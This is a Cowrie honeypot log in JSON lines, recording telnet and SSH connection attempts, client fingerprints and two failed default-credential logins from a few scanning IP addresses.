{"eventid":"cowrie.session.closed","duration":30.316675424575806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:37.913783Z","src_ip":"185.111.235.80","session":"837582e47659","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54088,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d8bf8ed79f0","protocol":"telnet","message":"New connection: 185.111.235.80:54088 (10.17.0.5:23) [session: 8d8bf8ed79f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:37.929913Z"}
{"eventid":"cowrie.session.closed","duration":30.627838134765625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:37.935032Z","src_ip":"185.111.235.80","session":"3c85f00d212e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.629679441452026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:38.086573Z","src_ip":"117.120.7.112","session":"4099e85a6b16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.348758459091187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:38.240568Z","src_ip":"117.120.7.112","session":"79ff2022b769","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":48898,"dst_ip":"159.203.135.109","dst_port":23,"session":"911d773ec82b","protocol":"telnet","message":"New connection: 117.120.7.112:48898 (159.203.135.109:23) [session: 911d773ec82b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:38.278956Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55984,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f0de9fd8af5","protocol":"telnet","message":"New connection: 185.111.235.80:55984 (10.17.0.5:23) [session: 8f0de9fd8af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:38.298682Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37548,"dst_ip":"10.17.0.5","dst_port":22,"session":"18d528f304a4","protocol":"ssh","message":"New connection: 176.65.139.103:37548 (10.17.0.5:22) [session: 18d528f304a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:38.561317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:38.637214Z","src_ip":"176.65.139.103","session":"18d528f304a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:38.696473Z","src_ip":"176.65.139.103","session":"18d528f304a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58760,"dst_ip":"10.17.0.5","dst_port":23,"session":"3437b5cd034b","protocol":"telnet","message":"New connection: 185.111.235.80:58760 (10.17.0.5:23) [session: 3437b5cd034b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:38.905928Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54052,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3da042f8fc4","protocol":"telnet","message":"New connection: 185.111.235.80:54052 (10.17.0.5:23) [session: e3da042f8fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:38.911137Z"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:39.088577Z","src_ip":"176.65.139.103","session":"18d528f304a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":48704,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e0081bbeda8","protocol":"telnet","message":"New connection: 117.120.7.112:48704 (159.203.135.109:23) [session: 0e0081bbeda8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:39.160449Z"}
{"eventid":"cowrie.session.closed","duration":31.081620454788208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:39.349415Z","src_ip":"185.111.235.80","session":"454dfa8b27e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.379072427749634,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:39.358321Z","src_ip":"117.120.7.112","session":"ca94b6da359b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":49894,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd25b85b08fe","protocol":"telnet","message":"New connection: 117.120.7.112:49894 (159.203.135.109:23) [session: dd25b85b08fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:39.721042Z"}
{"eventid":"cowrie.session.closed","duration":31.711292505264282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:39.784394Z","src_ip":"185.111.235.80","session":"5aa36b1a6f42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34978,"dst_ip":"10.17.0.5","dst_port":23,"session":"40bfcb2d9a4a","protocol":"telnet","message":"New connection: 185.111.235.80:34978 (10.17.0.5:23) [session: 40bfcb2d9a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:39.839271Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49916,"dst_ip":"10.17.0.5","dst_port":23,"session":"acb0e3588bdf","protocol":"telnet","message":"New connection: 185.111.235.80:49916 (10.17.0.5:23) [session: acb0e3588bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:40.079988Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36586,"dst_ip":"10.17.0.5","dst_port":23,"session":"88c6c36cdcc2","protocol":"telnet","message":"New connection: 185.111.235.80:36586 (10.17.0.5:23) [session: 88c6c36cdcc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:40.159274Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:40.186070Z","src_ip":"176.65.139.103","session":"18d528f304a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37998,"dst_ip":"10.17.0.5","dst_port":23,"session":"441c6eefb5ad","protocol":"telnet","message":"New connection: 185.111.235.80:37998 (10.17.0.5:23) [session: 441c6eefb5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:40.398028Z"}
{"eventid":"cowrie.session.closed","duration":30.29500651359558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:41.023308Z","src_ip":"117.120.7.112","session":"be4c01f4b361","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41166,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fb0df18fba6","protocol":"telnet","message":"New connection: 185.111.235.80:41166 (10.17.0.5:23) [session: 4fb0df18fba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:41.091258Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41604,"dst_ip":"10.17.0.5","dst_port":23,"session":"3efa594f6d71","protocol":"telnet","message":"New connection: 185.111.235.80:41604 (10.17.0.5:23) [session: 3efa594f6d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:41.175158Z"}
{"eventid":"cowrie.session.closed","duration":31.867493391036987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:41.659765Z","src_ip":"185.111.235.80","session":"d0a21c4b3c6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81429123878479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:41.897318Z","src_ip":"185.111.235.80","session":"77d5cc51d7b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45390,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d3a10f82286","protocol":"telnet","message":"New connection: 185.111.235.80:45390 (10.17.0.5:23) [session: 5d3a10f82286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:41.980336Z"}
{"eventid":"cowrie.session.closed","duration":30.77115488052368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:41.997514Z","src_ip":"185.111.235.80","session":"f036ee8ca103","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":57068,"dst_ip":"159.203.135.109","dst_port":23,"session":"26a581b85b80","protocol":"telnet","message":"New connection: 117.120.7.112:57068 (159.203.135.109:23) [session: 26a581b85b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:42.041667Z"}
{"eventid":"cowrie.session.closed","duration":30.91715669631958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:42.128339Z","src_ip":"117.120.7.112","session":"66712c5b3e9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46502,"dst_ip":"10.17.0.5","dst_port":23,"session":"daa4f21d444d","protocol":"telnet","message":"New connection: 185.111.235.80:46502 (10.17.0.5:23) [session: daa4f21d444d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:42.213344Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48823,"dst_ip":"10.17.0.5","dst_port":23,"session":"a02723e5ada6","protocol":"telnet","message":"New connection: 185.111.235.80:48823 (10.17.0.5:23) [session: a02723e5ada6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:42.679563Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49414,"dst_ip":"10.17.0.5","dst_port":23,"session":"982a346c3f11","protocol":"telnet","message":"New connection: 185.111.235.80:49414 (10.17.0.5:23) [session: 982a346c3f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:42.827118Z"}
{"eventid":"cowrie.session.closed","duration":30.78439164161682,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:42.877517Z","src_ip":"185.111.235.80","session":"29e1cc04096c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50020,"dst_ip":"10.17.0.5","dst_port":23,"session":"e31a562d26b5","protocol":"telnet","message":"New connection: 185.111.235.80:50020 (10.17.0.5:23) [session: e31a562d26b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:42.958372Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":57020,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca96eefc986f","protocol":"telnet","message":"New connection: 117.120.7.112:57020 (159.203.135.109:23) [session: ca96eefc986f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:43.025256Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50336,"dst_ip":"10.17.0.5","dst_port":23,"session":"762336418981","protocol":"telnet","message":"New connection: 185.111.235.80:50336 (10.17.0.5:23) [session: 762336418981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:43.057144Z"}
{"eventid":"cowrie.session.closed","duration":31.340932846069336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:43.139392Z","src_ip":"117.120.7.112","session":"b7639a28113e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14235782623291,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:43.201267Z","src_ip":"117.120.7.112","session":"db4156da3ff7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.717874765396118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:43.520076Z","src_ip":"185.111.235.80","session":"64903880de84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32462167739868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:43.811344Z","src_ip":"117.120.7.112","session":"c1607b527425","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55820,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fc0fe2d3c77","protocol":"telnet","message":"New connection: 185.111.235.80:55820 (10.17.0.5:23) [session: 9fc0fe2d3c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:44.152936Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58468,"dst_ip":"10.17.0.5","dst_port":23,"session":"6680caff3db5","protocol":"telnet","message":"New connection: 185.111.235.80:58468 (10.17.0.5:23) [session: 6680caff3db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:44.648395Z"}
{"eventid":"cowrie.session.closed","duration":31.652993202209473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:44.820404Z","src_ip":"185.111.235.80","session":"2caa5ee8089c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90326690673828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:44.988262Z","src_ip":"117.120.7.112","session":"bd54c24aeac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.826218605041504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:45.087101Z","src_ip":"117.120.7.112","session":"e5ab50d0419d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52546215057373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:45.601581Z","src_ip":"185.111.235.80","session":"5c78fe714fa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.743422031402588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:45.643624Z","src_ip":"117.120.7.112","session":"f934618b6a19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60042,"dst_ip":"10.17.0.5","dst_port":22,"session":"6aa3afaf8520","protocol":"ssh","message":"New connection: 176.65.139.103:60042 (10.17.0.5:22) [session: 6aa3afaf8520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:45.806429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:45.811358Z","src_ip":"176.65.139.103","session":"6aa3afaf8520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.92827844619751,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:45.889015Z","src_ip":"117.120.7.112","session":"b4a2439d8c8f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:45.914543Z","src_ip":"176.65.139.103","session":"6aa3afaf8520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60524,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f8aff4ffac7","protocol":"telnet","message":"New connection: 185.111.235.80:60524 (10.17.0.5:23) [session: 3f8aff4ffac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:46.090094Z"}
{"eventid":"cowrie.session.closed","duration":31.06860589981079,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:46.130110Z","src_ip":"185.111.235.80","session":"7f47e54f5771","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37434,"dst_ip":"10.17.0.5","dst_port":23,"session":"072d1935231c","protocol":"telnet","message":"New connection: 185.111.235.80:37434 (10.17.0.5:23) [session: 072d1935231c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:46.183385Z"}
{"eventid":"cowrie.session.closed","duration":30.984455347061157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:46.188520Z","src_ip":"117.120.7.112","session":"4d5a7c44881c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:46.291420Z","src_ip":"176.65.139.103","session":"6aa3afaf8520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.4310142993927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:46.499454Z","src_ip":"117.120.7.112","session":"0cf11eae593a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.514631032943726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:47.147873Z","src_ip":"117.120.7.112","session":"f13f7b5bf634","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75957179069519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:47.158308Z","src_ip":"117.120.7.112","session":"1bb5ad48c875","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.396047592163086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:47.179132Z","src_ip":"117.120.7.112","session":"9910b20addbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55596089363098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:47.266741Z","src_ip":"117.120.7.112","session":"6ec871f9d18e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:47.374548Z","src_ip":"176.65.139.103","session":"6aa3afaf8520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.654669284820557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:47.391271Z","src_ip":"117.120.7.112","session":"7c68c5acce4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":34464,"dst_ip":"159.203.135.109","dst_port":23,"session":"55eadcbd375b","protocol":"telnet","message":"New connection: 117.120.7.112:34464 (159.203.135.109:23) [session: 55eadcbd375b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:47.559118Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":41416,"dst_ip":"159.203.135.109","dst_port":23,"session":"74cb22f683bf","protocol":"telnet","message":"New connection: 117.120.7.112:41416 (159.203.135.109:23) [session: 74cb22f683bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:47.718196Z"}
{"eventid":"cowrie.session.closed","duration":33.02266764640808,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:48.055717Z","src_ip":"185.111.235.80","session":"0a40c81b761c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.651155948638916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:48.660609Z","src_ip":"117.120.7.112","session":"ab8fe6148efb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.391757488250732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:48.909007Z","src_ip":"185.111.235.80","session":"e41a5fc7bce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55839991569519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:49.013566Z","src_ip":"185.111.235.80","session":"43e2f2afaa39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98540949821472,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:49.092970Z","src_ip":"185.111.235.80","session":"40f706c4c6cb","protocol":"telnet"}
